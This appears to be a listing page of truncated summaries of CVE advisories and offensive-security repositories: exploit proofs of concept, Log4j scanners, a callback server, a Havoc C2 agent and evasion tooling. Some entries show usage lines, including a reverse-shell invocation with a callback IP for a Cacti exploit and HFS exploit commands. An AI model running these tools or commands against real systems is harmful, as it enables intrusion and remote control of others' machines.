CVE-2026-86817

The Five Star Business Profile and Schema WordPress plugin (versions 2.3.20-2.3.21 ) is vulnerable to a sensitive data disclosure flaw. The issue stems from the plugin failing to properly restrict callbacks used to resolve schema field default values. This allows authenticated users with Author-l...

log4jcheck

Northwave Log4j CVE-2021-44228 체커 2021년 12월 10일 금요일, Java 라이브러리 'log4j'의 원격 코드 실행RCE 취약점을 다루는 새로운 개념 증명1이 공개되었습니다. 이 취약점은 사전에 소프트웨어 개발자에게 공개되지 않았습니다. 해당 취약점은 CVE-2021-442283로 추적되고 있습니다. 자세한 내용은 Northwave Threat Response4에서 확인할 수 있습니다. Northwave는 일반적인 HTTP 헤더와 HTTP GET 요청의 일부로 페이로드를 주입하여 취약한 시스템을...

CVE-2020-14882

CVE-2020-14882 이 Python 스크립트는 Oracle WebLogic Server의 원격 코드 실행 취약점CVE-2020-14882을 악용하여 취약한 대상 서버에서 명령어를 실행하고 HTTP 요청을 통해 출력을 캡처하도록 설계되었습니다. 먼저 대상 WebLogic URL과 네트워크 인터페이스를 입력받은 후, 사용자가 명령어를 입력할 수 있는 루프로 진입합니다. 각 명령어에 대해 자동으로 사용 가능한 포트를 할당하고 해당 포트에 임시 HTTP 리스너를 생성합니다. 스크립트는 대상 WebLogic 시스템에서 실행될...

PY-Log4j-RCE-Scanner

Log4j RCE Scanner 이 도구를 사용하면 여러 주소에서 Apache Log4j의 원격 명령 실행 취약점 CVE-2021-44228을 스캔할 수 있습니다. 기능: 제공한 URL 목록에 따라 스캔할 수 있습니다. 입력한 도메인 이름의 서브도메인을 찾아 모두 스캔할 수 있습니다. 들어오는 DNS 쿼리가 어느 출처에서 오는지 확인하기 위해 출처 도메인을 접두사로 추가합니다. 요구 사항 httpx curl 도메인 이름으로 스캔하려면 subfinder, assetfinder 및 amass를 추가로 설치해야 합니다. -h,...

CVE-2021-1732

CVE-2021-1732 취약점은 Windows 그래픽 드라이버 win32kfull!NtUserCreateWindowEx 함수에서 커널 콜백 시 사용자 모드 메모리 할당과 tagWND-flag 속성 설정 간 동기화 문제로 인해 발생합니다. 이를 통해 tagWND-offset 값을 위조하여 메모리 경계를 초과 접근할 수 있습니다. 드라이버 win32kfull.sys가 NtUserCreateWindowEx를 호출하여 창을 생성할 때 tagWND-cbWndExtra창 인스턴스의 추가 할당 메모리 크기를 확인합니다. 이 값이 비어 있...

CVE-2024-23692

CVE-2024-23692 사용법: go run hfs.go -h go run hfs.go -u http://127.0.0.1 go run hfs.go -u http://127.0.0.1 -dns //기본적으로 ceye.io 사용설정 필요 go run hfs.go -u http://127.0.0.1 -dns -d abc.cn //dnslog 지정 go run hfs.go -u http://127.0.0.1 -cmd //명령줄 진입 팁: DNSLOG 감지는 기본적으로 ceye.io를 사용합니다. 사용하려면 config 디렉토리의...

CVE-2022-35914

CVE-2022-35914 PoC 참고 자료 https://github.com/glpi-project/glpi/security/advisories/GHSA-c5gx-789q-5pcr https://github.com/cosad3s/CVE-2022-35914-poc 해당 PoC를 제공한 Sébastien Copin에게 감사드립니다. 제가 여기서 수정했습니다. 제 전체 글은 여기에서 확인하세요: https://link.medium.com/tBwDlpQl3Ib 사용법 pip install -r requirements.txt...

CVE-2022-46169

CVE-2022-41343 🐍 CVE-2022-46169를 위한 Python 익스플로잇 Cacti = 1.2.22용 Staged Reverse Shell 예제 cve-2022-46169 10.10.14.5 44444 -u http://cacti.htb 사용법 usage: cve-2022-46169 -h -u URL -s SHELL ip port positional arguments: ip 셸 콜백 IP 주소/호스트 port 셸 콜백 포트 options: -h, --help 이 도움말 메시지를 표시하고 종료 -u URL, --u...

Talon

Talon Talon は、C で書かれた Havoc 用のサードパーティエージェントです。非常にミニマルな設計で、Havoc サービス API を操作する方法を示すことを目的としています。 Talon.py は、Havoc サービス API と対話してコールバック、登録リクエスト、タスクを処理するスクリプトです。...

Log4Shell

log4shell 취약한 log4j 호스트를 찾기 위한 완전 자동화된 정확하고 광범위한 스캐너 기능 URL 목록 지원. 60개 이상의 HTTP 요청 헤더 퍼징. HTTP POST 데이터 파라미터 퍼징. JSON 데이터 파라미터 퍼징. 취약점 발견 및 검증을 위한 DNS 콜백 지원. WAF 우회 페이로드. 공지 Log4J v2.15.0에 전체 RCE를 허용하는 패치 우회가 있습니다. 이 log4shell 스크립트는 CVE-2021-45046을 안정적으로 탐지합니다. 대규모 인프라를 스캔하고 발견하는 데 어려움을 겪거나 Log4J...

area51

Every callback, captured. The exploit server for out-of-band findings. Point a target at a domain you own. Every HTTP request and every email it sends back lands in a dashboard you control, and it gets whatever response you choose in return. Getting started · Playbooks · CLI · Architecture ·...

effective-waffle

effective-waffle またまたスリープ暗号化の何か。しかも、これにはGitHubのデフォルトリポジトリ名を使った。 TpAllocWork + TpPostWork + TpWaitForWork + TpReleaseWork を使用して、コールバックの作成 + 実行 + クリーンアップを行います。 コールバックは、TpAllocWork...

CVE-2026-64638-XSS-to-Shell-PoC

CVE-2026-64638 — XSS2Shell Proof of Concept A proof-of-concept PoC tool for validating CVE-2026-64638 , a pre-authentication reflected Cross-Site Scripting XSS vulnerability affecting WordPress installations versions 6.4 – 7.0.2. Overview This tool automates the process of fingerprinting,...

Wasmtime component async-lifted callback result count is unvalidated, causing a native stack buffer overflow

This is an entry in the RustSec database for the Wasmtime security advisory located at https://github.com/bytecodealliance/wasmtime/security/advisories/GHSA-32h6-97mm-8q3c For more information see the GitHub-hosted security advisory...

RUSTSEC-2026-0327 Wasmtime component async-lifted callback result count is unvalidated, causing a native stack buffer overflow

This is an entry in the RustSec database for the Wasmtime security advisory located at https://github.com/bytecodealliance/wasmtime/security/advisories/GHSA-32h6-97mm-8q3c For more information see the GitHub-hosted security advisory...

CVE-2026-90440 Apache Thrift: An exception escaping a libevent callback stops the D library's non-blocking server, allowing an unauthenticated remote attacker to deny service

Uncaught exception, improper handling of exceptional conditions, improper resource shutdown vulnerability in Apache Thrift D thrift.server.nonblocking.TNonblockingServer. This issue affects Apache Thrift: before 0.25.0. Users are recommended to upgrade to version 0.25.0, which fixes the issue...

CVE-2026-90440 Apache Thrift: An exception escaping a libevent callback stops the D library's non-blocking server, allowing an unauthenticated remote attacker to deny service

Uncaught exception, improper handling of exceptional conditions, improper resource shutdown vulnerability in Apache Thrift D thrift.server.nonblocking.TNonblockingServer. This issue affects Apache Thrift: before 0.25.0. Users are recommended to upgrade to version 0.25.0, which fixes the issue...

CVE-2026-96578

The GSpeech TTS – WordPress Text To Speech Plugin plugin for WordPress is vulnerable to Stored Cross-Site Scripting via Comment Content in all versions up to, and including, 3.22.0 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to...

Blind-SSRF-to-Remote-Code-Execution-Shellshock-Professional-Bug-Bounty-Report

블라인드 SSRF를 통한 Shellshock 원격 코드 실행: 전문 버그 바운티 보고서 이 저장소는 ShellshockCVE-2014-6271에 취약한 내부 CGI 엔드포인트에 도달한 블라인드 SSRF 취약점의 성공적인 악용을 입증하는 전문 버그 바운티 보고서를 담고 있습니다. 원격 명령 실행은 대역 외OAST DNS 콜백을 통해 확인되었으며, 전체 공격 체인과 기술적 분석을 보여줍니다...

CVE-2026-96578 GSpeech TTS <= 3.22.0 - Unauthenticated Stored Cross-Site Scripting via Comment Content

The GSpeech TTS – WordPress Text To Speech Plugin plugin for WordPress is vulnerable to Stored Cross-Site Scripting via Comment Content in all versions up to, and including, 3.22.0 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to...